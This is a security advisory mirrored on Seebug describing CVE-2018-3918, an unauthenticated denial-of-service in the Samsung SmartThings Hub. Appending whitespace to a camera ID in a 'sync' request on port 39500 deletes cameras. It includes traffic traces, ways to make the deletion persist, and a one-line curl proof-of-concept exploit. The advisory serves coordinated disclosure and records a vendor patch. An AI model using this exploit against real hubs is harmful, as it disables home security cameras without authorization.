Lucene search

K
seebugMy SeebugSSV:97454
HistoryJul 30, 2018 - 12:00 a.m.

Samsung SmartThings Hub hubCore port 39500 sync denial-of-service vulnerability(CVE-2018-3918)

2018-07-3000:00:00
My Seebug
www.seebug.org
543

0.001 Low

EPSS

Percentile

40.6%

Summary

An exploitable vulnerability exists in the remote servers of Samsung
SmartThings Hub. The hubCore process listens on port 39500 and relays
any unauthenticated messages to SmartThings’ remote servers, which
incorrectly handle camera IDs for the “sync” operation, leading to
arbitrary deletion of cameras. An attacker can send an HTTP request to
trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://shop.smartthings.com/products/samsung-smartthings-hub

CVSSv3 Score

6.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H

CWE

CWE-156: Improper Neutralization of Whitespace

Details

Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller that
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.

The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the hubCore process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they’re
both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process,
which uses ffmpeg to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.

The remote SmartThings servers have the possibility to communicate with
the video-core process by sending messages in the persistent TLS
connection, established by the hubCore process. These messages can
encapsulate an HTTP request, which hubCore would relay directly to the
HTTP server exposed by video-core. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.

While analyzing the video-core process, we identified the following
traffic on port 39500, generated by video-core when requesting the
“/sync” path [1]:

[1] sync request
$ curl "http://127.0.0.1:3000/sync"

[2] video-core -> 127.0.0.1:39500 (hubCore)
POST /videocore HTTP/1.1
Host: 127.0.0.1:39500
Accept: */*
Content-Type: application/json
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Content-Length: 82

{"videoRequestType":"sync","cameraIds" : ["<camera-id1>", "<camera-id2>"]}

[3] hubCore -> SmartThings server (dc.connect.smartthings.com:443)
< sends a message embedding the HTTP request above >

[4] SmartThings server (dc.connect.smartthings.com:443) -> hubCore
< sends a message embedding the following HTTP response >
HTTP/1.1 202 ACCEPTED
Connection: close

[5] 127.0.0.1:39500 (hubCore) -> video-core
< forwards the HTTP response above >

The hubCore process listens on port 39500, bound to “0.0.0.0”, and
simply forwards the HTTP request [2] to the remote Samsung SmartThings
servers [3], which answer with [4]. The answer is finally forwarded back
to the client [5]. Note that being hubCore bound to “0.0.0.0”, request
[1] could be omitted and request [2] could be initiated by anyone in the
network, without any prior authentication.

In essence, the “sync” request [1] is used to make sure that the remote
servers and video-core’s internal database are synchronized. All
camera IDs known by video-core are included in the JSON string, and if
video-core contains a camera-id which doesn’t exist in the remote
servers, it will be deleted. Continuing on the example, if camera-id2
is not found by the remote servers, the following traffic can be seen:

[6] SmartThings server (dc.connect.smartthings.com:443) -> hubCore
< sends a message embedding the following HTTP request >
DELETE /cameras/<camera-id2> HTTP/1.1
Accept: */*
User-Agent: Linux UPnP/1.0 SmartThings
Content-Type: application/json
Connection: Close
Host: 127.0.0.1:3000

[7] hubCore -> 127.0.0.1:3000 (video-core)
< forwards the HTTP request above >

[8] 127.0.0.1:3000 (video-core) -> hubCore
HTTP/1.1 204 No Content
Server: Video-Core
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
Connection: close
Content-Length: 0

Request [6] is sent by the remote Samsung SmartThings servers over the
persistent TLS connection, and is thus received by the hubCore
process, which blindly forwards it to video-core’s HTTP server on port
3000 [7]. Request [8] is simply the answer of video-core to the
“DELETE” request.

To summarize, the flow of events when a deletion is going to take place
is:

    |______Sender______|___________________Hub___________________|___SmartThings Servers___
    |                  |                                         |
[2] |  sync request ---|--> hubCore:39500                        |
    |  with JSON M1    |                                         |
[3] |                  |                         hubCore sends --|--> process JSON M1
    |                  |                         JSON M1         |
    |                  |                                         |
[4] |                  |                         hubCore      <--|--- send HTTP response
    |                  |                                         |    M2 (ACCEPTED)
[5] |    terminate  <--|--- hubCore:39500                        |
    |    connection    |    forwards M2                          |
    |                  |                                         |
[6] |                  |                         hubCore      <--|--- generate and send
    |                  |                                         |    HTTP request M3
    |                  |                    |                    |
[7] |                  | video-core:3000 <--|--- hubCore sends   |
    |                  |                    |    HTTP request M3 |
    |                  |                    |                    |
[8] |                  | video-core:3000 ---|--> hubCore         |
    |                  |                    |                    |

Where “Sender” can either be the hub itself (that is video-core, as
shown in request [2]) or anyone in the network.

As we can see, a portion of request [2] is included in request [6]: the
<camera-id2>. In fact, it is first present in message M1, and is then
propagated till video-core where it is sent inside M3.

We noticed that the remote server does not strip whitespace characters
appended to the <camera-id> values sent in M1. This causes the remote
servers to fail, recognizing an existing camera, which in turn,
initiates the deletion procedure for the requested camera ID. The
<camera-id> will be inserted in M3 without modifications (that is, if
it is still including any whitespace character), which will be discarded
by video-core’s HTTP server. Thus, by appending one or more spaces at
the end of a valid camera ID, anyone would be able to delete a camera
from the hub without authentication.

Moreover, note that if message M1 only contains camera IDs unknown to
the remote servers, the denial of service would not be permanent and an
attacker would need to send the “sync” message continuously. In fact, in
this case remote servers, noticing that the the hub would have an empty
camera list, will re-add all cameras known remotely by sending a “POST
/cameras” request following request [8].

We found two different ways to avoid this:

  • Sending multiple “sync” requests in a short time could hit a race
    condition between the deletion and the creation of the camera. In
    this case, the creation request is discarded and the hub is left
    without any camera.
  • Sending the same camera ID twice in the same request, adding a space
    to the last camera ID. This will trick the servers into not sending
    the creation request because the hub is thought to still have a
    valid camera ID (the first one), while requesting for the deletion
    of the second camera ID (equal to the first one plus a whitespace).
    An example is shown in the proof of concept below.

Exploit Proof of Concept

The following proof of concept shows how to delete an arbitrary camera,
given its “cameraId”.

$ curl -i -X POST "http://${hubIP}:39500/videocore" -d '{"videoRequestType":"sync","cameraIds" : ["'${sCameraId}'", "'${sCameraId}' "]}'

The request received by video-core is:

DELETE /cameras/<cameraId>  HTTP/1.1
Accept: */*
User-Agent: Linux UPnP/1.0 SmartThings
Content-Type: application/json
Connection: Close
Host: 127.0.0.1:3000

Notice the additional space between the camera ID and the “HTTP/1.1”
string, which will be discarded by the HTTP server.

Timeline

  • 2018-04-25 - Vendor Disclosure
  • 2018-05-23 - Discussion with vendor/review of timeline for disclosure
  • 2018-07-17 - Vendor patched
  • 2018-07-26 - Public Release

0.001 Low

EPSS

Percentile

40.6%